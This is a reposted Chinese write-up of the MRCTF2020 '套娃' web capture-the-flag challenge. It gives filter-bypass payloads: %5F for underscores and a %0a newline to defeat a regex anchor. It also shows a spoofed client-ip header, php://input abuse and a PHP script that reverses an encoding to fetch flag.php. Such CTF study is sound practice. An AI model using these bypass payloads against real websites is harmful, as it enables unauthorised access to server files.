zoukankan      html  css  js  c++  java
  • MRCTF2020 套娃

    MRCTF2020套娃

    打开网页查看源代码

    关于$_SERVER['QUERY_STRING']取值,例如:
    http://localhost/aaa/?p=222
    $_SERVER['QUERY_STRING'] = "p=222";
    
    substr_count()函数计算子串在字符串中出现的次数
    PS:子串区分大小写
    

    上述代码不能出现'_'和'%5f',可以用‘ ’或‘.’或‘ %5F’绕过

    通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能利用换行绕过)绕过

    payload:?b%5Fu%5Fp%5Ft=23333%0a
    

    MRCTF2020二

    打开secrettw.php查看源码

    MRCTF2020三

    复制注释代码放进控制台

    MRCTF2020四

    随便POST一个Merak值,回显如下

    MRCTF2020五

    分析一下代码

    1.需要IP地址为127.0.0.1 在header中加client-ip:127.0.0.1

    2.file_get_contents用php伪协议绕过

    2333=php://input
    post:todat is a happy day
    

    3.change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2

    反写change函数,exp:

    <?php
    function unchange($v){ 
        $re = '';
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) - $i*2 ); 
        } 
        return $re; 
    }
    $real_flag = unchange('flag.php');
    echo base64_encode($real_flag);
    ?>
    

    得到ZmpdYSZmXGI=

    用burp传入参数得到flag

    MRCTF2020六

  • 相关阅读:
    jquey插件开发
    平常问题传送门
    Angular1实战总结01:了不起的$cacheFactory
    node基础15:events模块
    node基础14:连接数据库
    node基础13:异步流程控制
    node基础12:动态网页
    node基础11:接受参数
    node基础10:处理异常
    IOS子视图超过父视图frame后,无法交互响应
  • 原文地址:https://www.cnblogs.com/rabbittt/p/13291746.html
Copyright © 2011-2022 走看看